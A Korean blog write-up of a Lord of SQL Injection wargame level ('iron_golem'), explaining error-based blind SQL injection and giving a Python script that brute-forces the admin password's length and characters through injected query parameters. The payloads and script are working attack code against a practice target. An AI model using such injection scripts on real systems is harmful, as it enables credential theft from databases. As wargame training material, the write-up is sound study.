이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다.


그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다.


select * from table where 1 and if(1=1,1,(select 1 union select 2))


select * from table where 1 and if(1=2,1,(select 1 union select 2))


첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.


두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,


서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)


http://hackerschool.org/Sub_Html/HS_Posting/?uid=43


글을 읽고 풀었다.


너모 감사드린다.


import requests


url = "https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=16),1,(select%201%20union%20select%202));%20%23%20

error : Subquery returns more than 1 row

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=" + str(i) + "),1, (select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

    text = rs.text

    if("Subquery returns more than 1 row" in text):

        pass

    else:

        print("find it length = " + str(i))

        length = i/4

        break


# get length


for i in range(1, i+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((ord(substr(pw,"+ str(i) +",1))="+ str(c) +",1,(select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

        text = rs.text

        if(not "Subquery returns more than 1 row" in text):

            print(str(i) + " find it " + str(c))

            break


유니코드이기때문에 /4를 해주었다.



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22

+ Recent posts